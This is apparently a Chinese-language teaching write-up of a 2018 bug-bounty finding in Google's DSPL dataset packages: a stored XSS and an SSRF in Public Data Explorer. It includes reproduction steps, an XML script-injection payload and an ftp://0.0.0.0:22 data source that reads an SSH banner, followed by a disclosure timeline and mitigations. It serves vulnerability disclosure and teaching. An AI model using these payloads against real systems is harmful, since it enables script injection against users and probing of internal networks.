挖洞经验 | 看我如何构造DSPL语言包发现Google的存储型XSS和SSRF漏洞
字数 1162 2025-08-18 11:37:11
Google DSPL语言包漏洞分析与利用教学文档
1. DSPL语言概述
Google数据集发布语言(Dataset Publishing Language, DSPL)是Google提供的一种接口,允许用户将自己的数据库链接到Google的可视化工具,实现个性化数据可视化。
1.1 DSPL主要特点
- 使用XML描述数据集中的元数据
- 配合CSV数据文件使用
- 用于Google公开数据浏览器(Public Data Explorer)
- 支持从远程HTTP或FTP源检索数据
1.2 DSPL文件结构示例
一个典型的DSPL压缩包(sample.zip)包含以下文件:
countries.csv
country_slice.csv
dataset.xml (主元数据文件)
gender_country_slice.csv
genders.csv
state_slice.csv
states.csv
2. 漏洞发现与分析
2.1 存储型XSS漏洞
漏洞原理
Google公开数据浏览器在使用数据集归档中的元数据时,未对元数据进行有效编码或安全验证。
漏洞利用步骤
-
下载示例DSPL包:
curl https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/dspl/tutorial1.0.zip -o sample.zip unzip sample.zip; rm sample.zip -
修改dataset.xml文件,在name字段注入XSS payload:
<info> <name> <value><![CDATA[<script>confirm(document.domain)</script>]]></value> </name> <description> <value>Some very interesting statistics about countries</value> </description> <url> <value>http://google.com</value> </url> </info> -
重新打包并上传:
zip -r poc.dspl * -
将数据集上传到Google公开数据浏览器并公开分享
攻击效果
任何查看该数据集的用户都会在www.google.com请求环境中执行攻击者的JavaScript代码。
2.2 SSRF漏洞
漏洞原理
利用DSPL的远程数据源功能,可以构造恶意请求访问本地服务。
漏洞利用步骤
-
修改dataset.xml文件,添加恶意数据源:
<table id="my_table"> <column id="first" type="string"/> <column id="last" type="string"/> <data> <file format="csv" encoding="utf-8">ftp://0.0.0.0:22</file> </data> </table> -
上传数据集时,Google服务端会尝试访问指定的FTP服务
攻击效果
- 可以获取Google服务端的SSH banner信息
- 潜在可访问内网隔离系统
- 可能进一步渗透内部网络
3. 漏洞验证与PoC
3.1 XSS漏洞验证视频
3.2 SSRF漏洞验证
上传包含恶意FTP链接的数据集后,Google服务端返回的出错响应中会显示SSH banner信息。
4. 漏洞修复与奖励
4.1 漏洞处理时间线
- 2018年1月:漏洞上报
- 2018年2月:Google确认并修复漏洞
- 2018年2月:XSS漏洞奖励$5000
- 2018年3月:SSRF漏洞奖励$13337
5. 防御建议
5.1 针对XSS漏洞
- 对所有用户提供的元数据进行HTML编码
- 实现内容安全策略(CSP)
- 对CDATA内容进行严格过滤
5.2 针对SSRF漏洞
- 限制可访问的协议(禁用FTP等)
- 实现URL白名单机制
- 过滤内网IP地址请求
- 隐藏详细的错误信息
6. 总结
本教学文档详细分析了Google DSPL语言包中存在的存储型XSS和SSRF漏洞,包括:
- 漏洞原理与利用方法
- 具体的攻击步骤
- 漏洞验证方式
- 防御建议
这些漏洞展示了即使是大公司如Google,在复杂系统中也可能存在安全隐患,特别是在处理用户提供的数据时,必须实施严格的安全检查和过滤机制。